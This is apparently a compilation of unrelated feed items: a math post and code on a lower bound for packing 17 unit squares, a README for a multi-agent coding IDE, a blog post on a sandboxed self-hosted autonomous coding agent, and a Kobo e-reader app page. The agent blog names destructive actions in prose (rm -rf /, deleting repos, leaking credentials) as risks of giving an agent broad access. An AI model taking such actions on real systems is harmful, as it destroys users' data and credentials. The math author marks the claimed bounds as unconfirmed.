I only found an image of the points in the old article , but I couldn't find the analytical definition. Looking at the formula for the side of the square, and using a rule, and some guessing, I think that the empty left/right margin is 0.5 and the empty top/bottom margin is sqrt(2)-1/2≅0.9142… With these choices, the diagonal segment in the original graphic has length 1, which is a very useful number to make triangles that have vertices that are unavoidable points. (I’d be glad to hear a confirmation.)

It uses a 6x4 grid with an empty margin of 0.9142… and 0.5000, and the total size of the grid is 2.6168… and 2.4452…

To compare the construction to the newer constructions, it’s better to symmetrize it. In this symmetrized version each unit square includes at least 4 points, but some points are thicker, and they count as double points (more details later).


Sam Burns’ bound

The idea to prove 4.4811 (?) ≤s(17) posted by Sam Burns using ChatGPT picks 268 somewhat interesting points in a square of side 4.4811 The points have different weights, and the total weight is only 16.9476. After some reductions, it’s only necessary to test a finite number of directions and they use a program in Python to test “all” the possible “almost-unit” (actually .9973) squares and verify that the sum of weight inside each one of them is at least 1 (actually 1.0003). So if we try to fit 17 unit squares there, at least two unit squares must share at least one of the 268 somewhat interesting points. ( More details in the second post. )


This method has false negatives. If it verifies a solution then it’s surely correct, but if the program fails there is a tiny chance that it’s a mistake. This is fine to ensure the weight proves a lower bound.


It’s not clear how the weights were selected. Comparing this solution to all the examples in the old article , the 0.5 margin is too narrow because most examples use ~1.0 or ~9.1 or something like that. The selections of weight agree with me, and all the weights in the first/last row/column of the grid are zero. In my handwaving opinion, the second/penultimate row/columns should be empty too, but there is a non-zero weight in (1, 11) of the grid and the symmetric images, I hope it is not necessary in a better example. The third/penpenultimate row/column is quite full. It’s closer to the border than in the old examples, so it looks like adding more points near the border may be a good idea to improve the bound.

I draw the images using Racket with the Metapict package. The radius of each circle is calculated from the weight as

r = sqrt(weight^(1/gamma)) * scale

With gamma = 1.0 the area is proportional to the weight, but the small weights are too small in the image. After some tweaking, gamma=2.0 looks nice because the smaller weights are easier to see. The scale is not so mysterious, and I should have used pi somewhere in it, but scale=0.07 looks nice in my machine. The circles are semi-transparent, so it’s possible to see when they overlap if you ever increase the scale. The code is at the bottom, and it divides the weight by 1.0003 that is the actual minimal sum.

New bound

My idea was to try different combinations of the margin and internal grid size. As I said, it’s not clear how the weights were selected in the example of Sam Burns. So for each fixed size, I decided to use linear programming to find them.


Then I used a combination of brute force search and luck to get the best grid I could find. After that, I rounded the weight so they look nice and are nice fractions. ( More details in the second post.)

After a lot of time, the best I got is 4.5058 (?) ≤s(17). The new solution uses 168 somewhat interesting points in a square of side 4.5058 in a 29x29 grid. They sum only 16.9166… Each unit square includes at least a total weight of 1.There is an empty margin of 0.77565 and the internal grid has a total side of 3.9545.


As I said, the weights are closer to the border than what I expected looking at the old examples, close to the second/penpenultimate row/column of the previous one. It also uses fewer weights, so I hope it’s easier to prove that it’s correct without a computer. I’d like to make a non symmetric version, that may be even better.

The program published by Sam Burns assumes that the empty margin is 0.5, so I had to modify it slightly to allow arbitrary borders with a variable M that is the double of the margin. The version with that modification, the new sizes and the new table of weight is at the bottom. Running that program and making the obvious changes to the explanation posted by Sam Burns proves (?) the new bound.

Conclusion and Future Work

  • The distributions look quite discrete in the corner, but it has some strange bars near the center. It would be nice to increase the grid size and take a look. Also, the narrow empty margins appear to be useful.
  • My search program in the second article is too slow (like 1 hour), so I avoided changing the size of the grid. It may be useful to explore other grid sizes in case there are some interesting coincidences.
  • Adding more digits takes only a few minutes, I didn't bother because it looks like refining the grid or using more directions for the rotations would make bigger changes.
  • This result also automatically improves the lower bound of s(18), s(19) and s(20). But a more deep search for those values should provide even better bounds. I’ve seen too many cases where the total sum of the weight is 18. There is something interesting about 18.
  • I’d like to find the non-symmetrical version. I have some ideas to try, so check again in a few days. A non-symmetrical version hopefully has like 1/8 of the weight and hopefully shows the almost equilateral triangles and is easier to understand without a computer.

You may like to read the second post with details about how I got the new weights.

Program to verify the bound

from __future__ import annotations

from bisect import bisect_left, bisect_right
from fractions import Fraction as F
import numpy as np

# Original version posted by Sam Burns 2026
# Modified by Gustavo Massaccesi 2026

# Proposed exact lower-bound certificate for packing 17 unit squares in a square.
#
# All geometric quantities and predicates are rational. NumPy is used only for
# integer range-addition and cumulative sums; no floating-point geometry is used.

L = F(45058, 10000)   # side of the square
M = F(15513, 10000)   # both empty borders
B = F(9973, 10000)
T = F(207107, 500000)
KMAX = 180
D = T / KMAX
WEIGHT_SCALE = 576    # min weight
NGRID = 29
LAST = NGRID - 1

# (i, j, w): every distinct D4 image of grid point (i,j) receives weight w/WEIGHT_SCALE.
CERT = [
    (0, 2, 165),
    (0, 11, 129),
    (1, 8, 36),
    (1, 10, 21),
    (1, 11, 15),
    (2, 2, 246),
    (2, 8, 129),
    (2, 9, 105),
    (2, 10, 36),
    (2, 11, 105),
    (5, 10, 36),
    (6, 10, 63),
    (6, 11, 12),
    (7, 10, 21),
    (8, 9, 33),
    (8, 11, 15),
    (9, 11, 75),
    (9, 14, 39),
    (10, 11, 25),
    (10, 12, 21),
    (10, 13, 24),
    (10, 14, 3),
    (11, 11, 16)
]


def orbit(i: int, j: int) -> set[tuple[int, int]]:
    n = LAST
    return {
        (i, j), (n - i, j), (i, n - j), (n - i, n - j),
        (j, i), (n - j, i), (j, n - i), (n - j, n - i),
    }


def build_atoms() -> list[tuple[F, F, int]]:
    step = (L - M) / LAST
    coord = [M / 2 + step * i for i in range(NGRID)]
    by_index: dict[tuple[int, int], int] = {}
    for i, j, w in CERT:
        for ij in orbit(i, j):
            if ij in by_index:
                raise ValueError(f"duplicate orbit assignment at {ij}")
            by_index[ij] = w
    return [
        (coord[i], coord[j], w)
        for (i, j), w in sorted(by_index.items())
    ]


# Clip a convex rational polygon against U >= bound or U <= bound.
def clip_u(
    poly: list[tuple[F, F]],
    bound: F,
    keep_ge: bool,
) -> list[tuple[F, F]]:
    if not poly:
        return []

    out: list[tuple[F, F]] = []

    def inside(p: tuple[F, F]) -> bool:
        return p[0] >= bound if keep_ge else p[0] <= bound

    prev = poly[-1]
    prev_in = inside(prev)
    for cur in poly:
        cur_in = inside(cur)
        if cur_in != prev_in:
            u1, v1 = prev
            u2, v2 = cur
            if u2 == u1:
                v = v1
            else:
                lam = (bound - u1) / (u2 - u1)
                v = v1 + lam * (v2 - v1)
            out.append((bound, v))
        if cur_in:
            out.append(cur)
        prev, prev_in = cur, cur_in
    return out


def center_domain(c: F, s: F) -> list[tuple[F, F]]:
    # A B-square at orientation (c,s) lies in [0,L]^2 exactly when its
    # center lies in [h,L-h]^2, with h=B(c+s)/2.
    # Transform that square to the B-square's (U,V) frame.
    h = B * (c + s) / 2
    lo, hi = h, L - h
    corners_xy = [(lo, lo), (hi, lo), (hi, hi), (lo, hi)]
    return [(c * x + s * y, -s * x + c * y) for x, y in corners_xy]


def verify_orientation(
    c: F,
    s: F,
    atoms: list[tuple[F, F, int]],
) -> int:
    """Return the exact minimum integer score for one rational orientation."""
    half = B / 2
    dom = center_domain(c, s)
    u_dom_min = min(u for u, _ in dom)
    u_dom_max = max(u for u, _ in dom)
    v_dom_min = min(v for _, v in dom)
    v_dom_max = max(v for _, v in dom)

    rects: list[tuple[F, F, F, F, int]] = []
    u_events = {u_dom_min, u_dom_max}
    v_events = {v_dom_min, v_dom_max}

    # In center coordinates, atom membership is an axis-aligned rectangle.
    for x, y, w in atoms:
        pu = c * x + s * y
        pv = -s * x + c * y
        u1, u2 = pu - half, pu + half
        v1, v2 = pv - half, pv + half
        rects.append((u1, u2, v1, v2, w))
        u_events.add(u1)
        u_events.add(u2)
        v_events.add(v1)
        v_events.add(v2)

    ue = sorted(u_events)
    ve = sorted(v_events)
    ui = {x: i for i, x in enumerate(ue)}
    vi = {x: i for i, x in enumerate(ve)}

    # Exact integer 2D difference array. Scores are constant in every open
    # event cell. NumPy performs only integer arithmetic here.
    diff = np.zeros((len(ue), len(ve)), dtype=np.int64)
    for u1, u2, v1, v2, w in rects:
        a, b = ui[u1], ui[u2]
        p, q = vi[v1], vi[v2]
        diff[a, p] += w
        diff[b, p] -= w
        diff[a, q] -= w
        diff[b, q] += w

    scores = diff.cumsum(axis=0).cumsum(axis=1)
    nu, nv = len(ue) - 1, len(ve) - 1

    best = 10**18
    for i in range(nu):
        u0, u1 = ue[i], ue[i + 1]
        if u1 <= u_dom_min or u0 >= u_dom_max:
            continue

        slab = clip_u(dom, u0, True)
        slab = clip_u(slab, u1, False)
        if not slab:
            continue

        vlo = min(v for _, v in slab)
        vhi = max(v for _, v in slab)
        if vhi <= vlo:
            continue

        # This may examine a superset of feasible event cells, which is
        # conservative for a lower-bound verification.
        j0 = max(0, bisect_right(ve, vlo) - 1)
        j1 = min(nv - 1, bisect_left(ve, vhi) - 1)
        if j0 <= j1:
            row_min = int(scores[i, j0:j1 + 1].min())
            best = min(best, row_min)

    if best == 10**18:
        raise RuntimeError("center domain was not enumerated")
    return best


def angle_net() -> list[tuple[F, F]]:
    out: list[tuple[F, F]] = []
    for k in range(KMAX + 1):
        t = T * k / KMAX
        den = 1 + t * t
        c = (1 - t * t) / den
        s = 2 * t / den
        assert c * c + s * s == 1
        out.append((c, s))

    # The final adjacent pair brackets pi/4.
    assert out[-2][1] < out[-2][0]
    assert out[-1][1] >= out[-1][0]

    # If psi_k=2 arctan(t_k), half an adjacent angular gap is
    # arctan(t_{k+1})-arctan(t_k), whose tangent is
    # D/(1+t_k*t_{k+1}) <= D. Therefore every angle in [0,pi/4]
    # is within an error epsilon < D of a net direction.
    for k in range(KMAX):
        t0 = T * k / KMAX
        t1 = T * (k + 1) / KMAX
        tan_half_gap = (t1 - t0) / (1 + t0 * t1)
        assert tan_half_gap <= D

    return out


def main() -> None:
    atoms = build_atoms()
    total = sum(w for _, _, w in atoms)

    print(f"atoms = {len(atoms)}")
    print(
        f"total_weight = {total}/{WEIGHT_SCALE}"
        f" = {total / WEIGHT_SCALE:.4f}"
    )
    #assert len(atoms) == 268
    #assert total == 169476
    assert total < 17 * WEIGHT_SCALE

    net = angle_net()

    # For an orientation error epsilon <= D,
    # cos(epsilon)+sin(epsilon) <= 1+epsilon <= 1+D.
    contain = B * (1 + D)
    print(f"angle_net_size = {len(net)}")
    print(f"b*(1+d) = {contain} = {float(contain):.12f} < 1")
    assert contain < 1

    global_min = 10**18
    argmin = -1
    for k, (c, s) in enumerate(net):
        m = verify_orientation(c, s, atoms)
        if m < global_min:
            global_min, argmin = m, k
        if k % 30 == 0 or k == KMAX:
            print(
                f"orientation {k:3d}/{KMAX}: "
                f"min={m}/{WEIGHT_SCALE}, "
                f"global={global_min}/{WEIGHT_SCALE}"
            )

    print(
        f"minimum_score = {global_min}/{WEIGHT_SCALE}"
        f" = {global_min / WEIGHT_SCALE:.4f} at k={argmin}"
    )
    assert global_min >= WEIGHT_SCALE

    print("CERTIFICATE CONDITIONS VERIFIED.")
    print(f"By the scaling argument: s(17) >= {L} = {L:.4f}.")

    
if __name__ == "__main__":
    main() 
 
 

Program to draw the images

#lang racket

(require racket/list)
(require metapict)


{define-syntax-rule (for/append clauses body ...)
  ; Todo: Add support for #:breack and #:final
  (append* (for/list clauses (begin body ...)))}

{define (mirror-x N atoms)
  (for/append ([a (in-list atoms)])
    (match a
      [(list x y w)
       (list (list x y w) (list (- N 1 x) y w))]))}

{define (mirror-y N atoms)
  (for/append ([a (in-list atoms)])
    (match a
      [(list x y w)
       (list (list x y w) (list x (- N 1 y) w))]))}

{define (mirror-d atoms)
  (for/append ([a (in-list atoms)])
    (match a
      [(list x y w)
       (list (list x y w) (list y x w))]))}

{define-values (L-Green atoms-Green)
  (let ()
    ; Todo: Confirm these are the correct lenghts.
    (define grid-nx 6)
    (define grid-ny 4)
    (define border-size-y (- (sqrt 2) 1/2))
    (define grid-size-y (/ (+ 12 (sqrt 8)) 17))
    (define border-size-x 1)
    (define L 
      (+ (* border-size-y 2) (* grid-size-y 3)))
    (define grid-size-x (/ (- L (* border-size-x 2)) 5))
    
    {define atoms/int '(#;()
                        (0 3 1) (1 3 1) (3 3 1) (5 3 1)
                        (0 2 1) (2 2 1) (4 2 1) (5 2 1)
                        (0 1 1) (1 1 1) (3 1 1) (5 1 1)
                        (0 0 1) (2 0 1) (4 0 1) (5 0 1))}
    (define min-weight 1)

    {define atoms (for/list ([a (in-list atoms/int)])
                    (match a
                      [(list x y w)
                       (list (+ border-size-x (* grid-size-x x))
                             (+ border-size-y (* grid-size-y y))
                             (/ w min-weight))]))}
    (values L atoms))}

{define-values (L-Green/S atoms-Green/S)
  (let ()
    ; Todo: Confirm these are the correct lenghts.
    (define grid-nx 6)
    (define grid-ny 4)
    (define border-size-y (- (sqrt 2) 1/2))
    (define grid-size-y (/ (+ 12 (sqrt 8)) 17))
    (define border-size-x 1)
    (define L 
      (+ (* border-size-y 2) (* grid-size-y (- grid-ny 1))))
    (define grid-size-x (/ (- L (* border-size-x 2)) (- grid-nx 1)))

    ; It's easier to calculate the overlaps by hand
    (define atoms/gen '(#;()
                        (0 1 2) (1 1 1) (2 1 1)
                        (0 0 2) (1 0 1) (2 0 1)))
    (define min-weight 4)

    (define atoms/int (remove-duplicates
                       (mirror-x grid-nx
                                 (mirror-y grid-ny
                                           atoms/gen))))
    (define atoms/one-dir (for/list ([a (in-list atoms/int)])
                            (match a
                              [(list x y w)
                               (list (+ border-size-x (* grid-size-x x))
                                     (+ border-size-y (* grid-size-y y))
                                     (/ w min-weight))])))
    (define atoms (mirror-d atoms/one-dir))
    (values L atoms))}

{define-values (L-Burns atoms-Burns)
  (let ()
    (define grid-n 29)
    (define L 44811/10000)
    (define M 1)
    (define grid-size (/ (- L M) grid-n))
    (define border-size (/ M 2))
    (define min-weight 10003)
    {define atoms/gen '(#;()
                        (1 11 107) (2 4 137) (2 9 214) (2 11 107) (2 12 137)
                        (3 4 3884) (3 7 214) (3 8 913) (3 9 214)
                        (3 10 214) (3 11 1234) (3 12 2189) (3 14 384)
                        (4 4 1961) (4 7 520) (4 8 214) (4 9 1413) (4 10 1234)
                        (4 11 1083) (4 13 137) (4 14 292)
                        (7 11 529) (7 12 33) (8 10 906) (8 11 384) (8 12 351)
                        (9 9 340) (9 10 180) (9 11 204) (9 12 549)
                        (10 12 879) (10 13 201) (10 14 378)
                        (11 11 396) (11 12 622) (11 13 204) (11 14 204))}

    (define atoms/int (remove-duplicates
                       (mirror-x grid-n
                                 (mirror-y grid-n
                                           (mirror-d
                                            atoms/gen)))))

    (define atoms (for/list ([a (in-list atoms/int)])
                    (match a
                      [(list x y w)
                       (list (+ border-size (* grid-size x))
                             (+ border-size (* grid-size y))
                             (/ w min-weight))])))
    (values L atoms))}

{define-values (L-Massaccesi atoms-Massaccesi)
  (let ()
    (define grid-n 29)
    (define L 45058/10000)
    (define M 15513/10000)
    (define grid-size (/ (- L M) grid-n))
    (define border-size (/ M 2))
    (define min-weight 576)
    {define atoms/gen '(#;()
                        (0 2 165) (0 11 129) (1 8 36) (1 10 21) (1 11 15)
                        (2 2 246) (2 8 129) (2 9 105) (2 10 36) (2 11 105)
                        (5 10 36) (6 10 63) (6 11 12) (7 10 21)
                        (8 9 33) (8 11 15) (9 11 75) (9 14 39)
                        (10 11 25) (10 12 21) (10 13 24) (10 14 3) (11 11 16))}

    (define atoms/int (remove-duplicates
                       (mirror-x grid-n
                                 (mirror-y grid-n
                                           (mirror-d
                                            atoms/gen)))))

    (define atoms (for/list ([a (in-list atoms/int)])
                    (match a
                      [(list x y w)
                       (list (+ border-size (* grid-size x))
                             (+ border-size (* grid-size y))
                             (/ w min-weight))])))
    (values L atoms))}

{define (draw-example L atoms #:gamma [gamma 2.0] #:scale [scale 0.07])
  [with-window (window -.1 (+ L .1) -.1 (+ L .1))
    (define big-fill-color "whitesmoke")
    (define big-border-color "black")
    (define dots-color (change-alpha "darkred" 0.75))
    (define big-square (curve (pt 0 0) -- (pt 0 L) -- (pt L L) -- (pt L 0) -- cycle))
    (draw (color big-fill-color (fill big-square))
          (penscale .1 (color big-border-color (draw big-square)))
          (draw* (for/list ([a (in-list atoms)])
                   (match a
                     [(list x y w)
                      (define s (* (sqrt (expt w (/ 1. gamma))) scale)) 
                      (penstyle 'transparent (color dots-color (filldraw (circle (pt x y) s))))]))))
    ]}

(scale 4 (draw-example L-Green atoms-Green #:gamma 2.0 #:scale .07))

(scale 4 (draw-example L-Green/S atoms-Green/S #:gamma 2.0 #:scale .07))

(scale 4 (draw-example L-Burns atoms-Burns #:gamma 2.0 #:scale .07))

(scale 4 (draw-example L-Massaccesi atoms-Massaccesi #:gamma 2.0 #:scale .07))


Show HN: Proliferate- open-source, self-hostable Codex for any coding agent

Hacker News
github.com
2026-08-21 12:47:15
Comments...
Original Article

Proliferate

The open-source AI IDE

GitHub stars Latest release License Docs Website Discord

Run Claude Code, Codex, OpenCode, Grok, and any other coding agent in parallel, in one workspace.
Each task gets an isolated git worktree for its branch, terminal, conversation, and review state.

Download for macOS Documentation Changelog Discord

Proliferate

Features

  • 🤖 Native harnesses - Claude Code, Codex, OpenCode, Cursor, Grok, and more
  • 🌳 Worktree workspaces - an isolated branch and working directory for every task
  • 🔀 Parallel agents - run agents side by side in the same workspace, each on its own task
  • 🪆 Subagents - agents delegate scoped work to child agents and pick the results back up when they finish
  • 🧩 Integrations - MCPs, skills, Computer Use, Browser Use, and custom tools, configured once and shared by every agent
  • Workflows - recurring and event-driven agent runs: nightly review passes, triage on alerts, dependency bumps

Supported agents

Proliferate runs each agent through its native harness.

Claude
Claude
Codex
Codex
OpenCode
OpenCode
Cursor
Cursor
Grok
Grok

Self-hosting

The full Proliferate control plane is self-hostable. Start with the deployment docs , which cover Docker, AWS, GCP, Azure, Kubernetes, and air-gapped operation.

Point the desktop app at your control plane by following configure desktop . Open an issue or ask in Discord if you hit problems, and see SECURITY.md for reporting vulnerabilities.

Run from source

Requirements:

  • Rust stable
  • Node.js 22+
  • pnpm

Run the desktop app with the bundled local AnyHarness runtime:

make install
make dev-local

Local full-stack development additionally requires Python 3.12+, uv , and Docker for the local control plane database. Use named dev profiles when multiple worktrees run at the same time.

make server-install
make setup PROFILE=main
make build # first clean worktree, or after generated/Rust/frontend artifacts change
make dev-list
make run PROFILE=main

See dev profiles for profile state, ports, generated Tauri config, and app labels.

Community

Join our community on Discord !

Contributing

Contributing? See the Contribution Guide .

License

AGPL-3.0

A self hosted AI software factory

Hacker News
blog.jakesaunders.dev
2026-08-21 12:27:52
Comments...
Original Article

tl;dr: It worked! From one prompt it created a repo, wrote the application and tests, got CI green, provisioned Postgres and deployed the finished app behind HTTPS without another message from me.If you just wanna see the outcome you can find a demo video at the bottom

LLMs got fun again! Maybe they always were and I was just stuck in the trough of disillusionment. Lately, whenever I need a little tool, I just build it.

I was in the gym the other day and wanted a weights tracker. The app I had in mind was about as CRUD-y as it gets, but all the app store versions wanted £12 per month, so I just one-shotted one with Claude. Great fun, but giving an LLM root access to my machine in auto mode still doesn’t sit right with me.

So, the challenge: how can I create a fully remote agentic development environment where we structurally contain the LLM rather than just trusting it? I want to give it an instruction and have it autonomously move through the whole SDLC:

  • Researching the right stack and packages to use.
  • Planning and writing the code and tests.
  • Committing to Git, building and running a CI pipeline.
  • Deploying the work to a ‘production’ server with databases, o11y, and a domain with SSL.

All on my home server, without another cloud infrastructure bill. The only ongoing cost specific to this experiment is a £20 Codex sub.

The Server(s)

The servers

Here they are in all their glory.

The one at the bottom is a 2014 dual-core i3 I’ve been running as a homelab for five years. It’s valiantly hosting this blog and about 45 other Docker containers, from Pi-hole to a full Prometheus / Loki / Grafana stack. It also has port 443 forwarded from my router. I’d be miffed if an LLM broke it, so that’s not what we’re using today.

The top one is a 2021 10th-gen i7 with 32GB RAM, bought fresh from eBay with nothing on it. Perfect.

The Stack

The core development stack is self-hosted through Coolify. Inference and integrations like Tailscale, Telegram, DNS and ACME still leave the box. You could host inference too, but I don’t have the hardware and I’d rather OpenAI subsidise my experiments.

Component Notes
Pi-hole Local DNS rules, with the side benefit of seeing less shitty advertising.
Tailscale Makes my home network follow me around.
Coolify A self-hosted, Heroku-style PaaS built on Docker.
Forgejo (with runners) Self-hosted Git and CI.
Hermes (with WebUI) An OpenClaw-style virtual assistant, using Codex for inference.
Telegram Talk to the agent from the toilet or wherever.
Firecrawl (self-hosted) A scraping / translation layer between the agent and the web.
Porkbun (Registrar) & Let’s Encrypt A domain and on-the-fly SSL certificates.
Whatever else Postgres, Redis, whatever your apps need. It’s just Docker under the hood, innit?

Sources

This isn’t a full how-to guide. I could probably write an Ansible one-shot script to set it all up; leave an issue on the GitHub repo below if you’d like one. If you’ve read this far, though, you can probably figure it out.

Networking

The first guardrail is obvious: it’s on its own metal. Hermes could rm -rf / and at worst it would cost me a couple of hours rebuilding it.

The next layer of bombproofing is the network. My older server has port 443 forwarded from the router; this one doesn’t. There’s no external ingress, cutting out a huge attack surface and all the internet background radiation from people speculatively probing /wp-admin on every DNS A record I set up.

But, if there’s no ingress, how do I:

  • Get access to all our cool new apps on my phone?
  • Generate an SSL cert at a vanity URL so I can access https://cool-new-app.internal.jakeshomelab.me ?

I have Tailscale set up with my older server as an exit node. When I’m away from home, selecting it routes my traffic through that server and Pi-hole, which I’m using for custom DNS. Pi-hole lets you add dnsmasq rules like this:

address=/internal.jakeshomelab.me/192.168.1.201

Anything requesting *.internal.jakeshomelab.me now resolves to my new server, where Coolify’s reverse proxy picks it up and serves my shiny new services.

SSL Certs

With Caddy or Traefik and Docker labels, you can serve port 3000 on container X from https://my-service.internal.jakeshomelab.me . Point an A record at the server and it’ll contact Let’s Encrypt, complete an ACME challenge and get an SSL cert. I learned this three years ago and it still seems like magic.

The problem is the A record. I don’t want to publicly associate my-service.internal.jakeshomelab.me with my IP, whether people can access it or not. I want an SSL cert for a ghost service.

To solve this problem, I turned to DNS-01. I’ll be honest this is new to me, but here’s how it works:

  • Buy a domain (in this case from Porkbun).
  • Generate Porkbun API keys and add them to Coolify’s environment with write access to the domain.
  • Modify Coolify’s Docker Compose file to use lego and the Porkbun API:
      - '--certificatesresolvers.letsencrypt.acme.dnschallenge=true'
      - '--certificatesresolvers.letsencrypt.acme.dnschallenge.provider=porkbun'
      - '--log.level=INFO'

Then, when I register a new URL, Traefik / Coolify:

  • Uses the Porkbun API to create a new TXT record at _acme-challenge.my-service.internal.jakeshomelab.me .
  • Let’s Encrypt validates the challenge and issues a valid SSL cert.
  • Traefik deletes it.

That’s it! You now have a valid HTTPS URL, reachable within your tailnet, with no public A or AAAA record pointing to the service. The hostname may still appear in public certificate-transparency logs, but the service is only reachable from the tailnet.

The best bit is that Coolify does this on the fly. Our agent can create a service at any subdomain and it’ll ✨magically✨ sort itself out.

So, glue all this together and you get the following:

Networking diagram (A bit AI slop sorry!)

The same setup covers the tooling, so Coolify, Hermes, Forgejo and Firecrawl all live on their own local subdomains.

Development Stack & MCPs

Now we have an isolated(ish) box, let’s move on to the tooling. The tools are well known; gluing them together is the fun part.

Forgejo

We need somewhere durable to store code and run CI. I decided not to use GitHub because:

  • Giving the box my GitHub token rather undermines the isolation. Also, it’s not self-hosted.
  • Its API and CI minute limits won’t work at the scale of our new software factory.
  • It’s down most of the time these days anyway.

Forgejo is a great self-hosted alternative. The Docker Compose file linked above sets up Forgejo and its runners; registering yourself and the runner takes a little extra work, but it’s well documented.

I’ve also included a Compose file for syncing projects back to GitHub. That puts your GH token in the environment, but the trade-off is yours to make.

The Forgejo Hermes skill linked above gives the agent full control of the instance.

Hermes

Hermes is an OpenClaw-style personal assistant with agentic capabilities. I never got in on the OpenClaw hype, so I can’t compare the two, but Hermes has a few features I’ve found handy:

  • Web UI : A standard ChatGPT-esque interface for working from my laptop and managing skills.
  • Shared filesystem : I’ve mounted its workspace from the Docker host and shared it over Samba. The agent and I can use the same files instead of copy-pasting Markdown and code around.
  • Telegram integration : I can chat to the agent from my phone. Setup took two minutes and required no login details, which suited the sandbox approach.
  • Self-building skills : Hermes can create and register its own skills. I couldn’t find a good Coolify one, so it read the docs, looked at the MCP and built one.
  • Firecrawl : Self-hosted Firecrawl gives the agent much nicer access to SERP data and web scraping at scale.

Getting Hermes and Firecrawl set up with the right keys in the right places is a massive pain in the arse. I’ve added Coolify-friendly Docker Compose files to the repo linked above.

Hermes chugging through building a demo web app for this blog post.

Coolify

Coolify is the glue holding this together: a self-hosted PaaS built on Docker and Compose that comes on in leaps and bounds with every update. If you want Heroku or DigitalOcean App Platform niceties on your own hardware, I’d highly recommend it.

Some of my favourite features are:

  • It’s just Docker under the hood. Existing deployments mostly work, and if Coolify won’t do something weird you can docker exec <whatever> from your laptop. Things are only abstracted away if you want them to be.
  • The SSL / routing stack which I’ve gone into in depth above.
  • Coolify ships with a bunch of pre-made recipes for all the most common apps. Postgres, Redis, Hermes, Forgejo and almost anything else is available to deploy with a single click.
  • Postgres backups to S3 are a three-click job, and env vars and user management are built in.
  • GitHub webhooks give you automatic deploys on push to main.

Here are a couple of screenshots of my Coolify setup in action:

Tooling screen on Coolify

Firecrawl service and Docker Compose

What it actually did

The demo below shows this pretty well, but the starting gun was the following prompt:

Please build me an app for tracking my calorie intake. It should be similar to MyFitnessPal but with a form to
add specific food and meals for quick selection later.

Your task is to build it, commit it to a new repo with tests, test it with CI, and deploy it to
http://calories.internal.jakeshomelab.me.

I’d like it to be a full stack svelte kit app with Drizzle and Postgres for the database layer.
I’d like tailwind for the CSS. It should be mobile first.

For deployment, please use docker and docker compose and deploy your own Postgres instance.

From there, it just got on with it:

  • Created a new Git repo and bootstrapped SvelteKit, Drizzle, Postgres and Tailwind.
  • Wrote the app and its tests, committing the work in sensible stages.
  • Created a CI pipeline.
  • Worked through test failures until CI turned green.
  • Containerised the app and its own Postgres instance with Docker Compose.
  • Deployed the lot to Coolify at its own URL.

All without a single further prompt. No nudging it through failed tests or copying error messages back into the chat. It just kept going until the app was running.

At that point I gave it a whirl and hit a CSRF issue when submitting data. I sent one more prompt; it diagnosed the problem, fixed it, added regression tests and redeployed.

And it worked!

That’s the loop I wanted: prompt, repo, code, tests, CI, deployment, bug fix. It’s not a complicated app, obviously, but it went from a paragraph to tested, deployed software and handled all the boring bits in between. That still feels a bit like witchcraft.

Enough of all that, show me the goods!

I’m no YouTuber, but here you go:

Thoughts on isolation and next steps

There is always a trade-off between fully agentic development and security. This was a fairly contrived example: the app works completely in isolation. Most useful software talks to other software, which means handing over API keys, and every key adds another little hole in the sandbox.

Even in this setup, Hermes can still:

  • Nuke the new server and everything running on it.
  • Delete repos, databases and deployments.
  • Leak or abuse any credentials I’ve given it.
  • Burn through inference tokens like its end-of-year review depends on it.
  • Make rando outbound requests and download whatever rubbish the internet hands it.
  • Poke anything else on my network that the firewall allows it to reach.

So no, it isn’t harmless. What I’ve done is make the machine sacrificial and sharply limit how much stuff I care about is within reach. The failure mode is now “rebuild the eBay box and rotate a handful of keys”, rather than “discover an LLM has enthusiastically reorganised my actual laptop”. That’s better I think, but it isn’t magic.

The obvious next steps are:

  • Put the box on its own VLAN and explicitly block access to the rest of my home network.
  • Scope every credential as narrowly as the provider allows, and rotate them regularly.
  • Automate backups and make rebuilding the whole box a one-shot job.
    • Coolify’s DB backup and my shared Docker compose mounts should make this relatively easy.
  • Require approval before it does anything genuinely public or difficult to undo.

At some point, though, enough approval gates turn your magical autonomous software factory back into a collection of forms you have to fill in. Finding the useful point between “needs me every five minutes” and “has the launch codes” is the next experiment.

Kobo can run apps now

Hacker News
bandarlabs.github.io
2026-08-21 12:25:25
Comments...
Original Article

Your Kobo can run apps now.

Cobalt is an open-source application platform for Kobo e-readers: a launcher, a signed App Store, a Rust SDK, and a runtime that keeps every app in its own unprivileged process.

Install it once over USB. Every app after that installs, updates and removes on the reader itself, over Wi-Fi. A reboot returns to the stock Kobo reader.

The Cobalt launcher on a Kobo Clara BW showing Settings, App Store, Terminal, AI Chat, Audiobooks, Components, Daily Brief, Feeds and Gutenbird
The launcher on a Kobo Clara BW.

Not affiliated with Rakuten Kobo

A Kobo Clara BW running Audiobook Studio, Gutenbird, Terminal, Hacker News, Sidekick and the App Store, then installing, playing, removing and reinstalling Sudoku over Wi-Fi
Recorded on-device at 3× speed. Watch as video.

Running on a Kobo.

Every app is a static ARM binary running as its own unprivileged process on stock hardware. The App Store installs, updates and removes them over Wi-Fi, with signatures verified before anything launches.

arXiv papers and coding agents, on the panel.

These are photographs of the device, not simulator captures. The arXiv app reads the HTML rendering arXiv publishes for every paper since December 2023: abstracts, sections, math and result tables, paginated for the panel.

Apps

The apps.

Every screenshot below is a capture from a Kobo Clara BW. Store apps version independently of the platform; the rest ship with the platform install.

Cobalt launcher app grid on e-ink

Launcher

Opens installed apps and always keeps a route back to the Kobo reader.

Cobalt App Store catalog listing installed and available apps

App Store

Installs, updates, removes and reinstalls signed apps over Wi-Fi.

Newest machine learning preprints listed in the arXiv app on a Kobo

arXiv

Browses a subject's newest preprints and reads the full text on the panel.

A complete 81-cell Sudoku game on a Kobo Clara BW

Sudoku

Store-only by design: installing it proves delivery of an app the USB package never contained.

The letter S filling the Kobo panel while the front light sends it in Morse

Morse

Sends a typed message in Morse on the front light, one letter across the whole panel.

A shelf of book covers from an OPDS catalogue on a Kobo

Gutenbird

Reads any OPDS library: Project Gutenberg, Standard Ebooks, Open Library, or yours.

A ranked list of Hacker News stories on a Kobo e-reader

Hacker News

Top, New, Ask and Show stories with complete comment threads.

Subscribed feeds and articles in the Feeds app

Feeds

Discovers a site's feed and presents its articles without the site's layout.

A numbered daily news brief on e-ink

Daily Brief

Collects the day's stories in the background while you use another app.

A coding agent request with tappable responses in Sidekick

Sidekick

Approve or deny requests from coding agents, away from the keyboard.

A shell and touch keyboard on the Kobo display

Terminal

A panel-native shell with keys that send input immediately.

Cobalt typography and UI components on e-ink

Components

The UI toolkit's controls, layouts, typography and states, on the panel.

Battery status and hardware facts in Settings

Settings

